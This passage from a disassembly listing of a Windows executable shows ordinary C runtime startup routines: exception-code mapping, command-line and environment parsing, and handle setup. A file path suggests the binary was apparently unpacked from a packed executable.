		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43C8D0h[esi*4]


loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65


loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43C94C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43C94C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43C94C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43C94C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43C94C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43C94C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43C94C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43C94C, 8Ah


loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43C94C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43C94C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------


loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DB350, eax


loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------


loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 262084Dh


loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8C8, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]


loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51


loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71


loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DC914, 0
		jnz	short loc_422E80
		call	sub_42026D


loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DC90C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2


loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------


loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC


loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------


loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC


loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6


loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF


loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D


loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB2E8
		xor	edi, edi


loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi


loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------


loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB2A0, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB2E8
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp


loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp


loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB2E8
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB2E8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DC910, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D


loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2650000h
		mov	eax, dword_4DC90C
		mov	off_4DB2B0, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax


loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx


loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB298, esi
		pop	edi
		pop	esi
		mov	dword_4DB294, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F


loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi


loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax


loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F


loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA


loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0


loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0


loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF


loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE


loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------


loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------


loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi


loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1


loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx


loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153


loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0


loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------


loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]


loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]


loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi


loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------


loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0


loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DB458
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DB458, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 2620495h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DB458, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8


loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9


loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C


loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E


loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx


loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]


loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		call	near ptr 2620714h
		nop
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9


loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 2620495h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9


loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD


loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3


loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch


loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 262076Fh
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax


loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx


loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DC5C0, esi
		mov	dword_4DC6C0, 20h
		lea	eax, [esi+100h]


loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DC5C0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------


loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 2860000h
		nop
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax


loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DC6C0, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DC5C4


loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DC6C0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------


loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DC6C0, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DC6C0


loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432


loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		call	near ptr 2610735h
		nop
		test	eax, eax
		jz	short loc_423429


loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC


loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx


loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DC5C0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------


loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 2620000h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 2610735h
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484


loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h


loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DC6C0
		nop
		call	near ptr 2620361h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------


loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A2C4, 1
		jnz	short locret_4235C8


loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DB45C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax


loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43C958


loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43C9E8
		jl	short loc_4235DC


loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43C958[esi]
		jnz	loc_423719
		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A2C4, 1
		jz	loc_4236F3


loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2650000h
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_423653:				; CODE XREF: sub_4235C9+75j
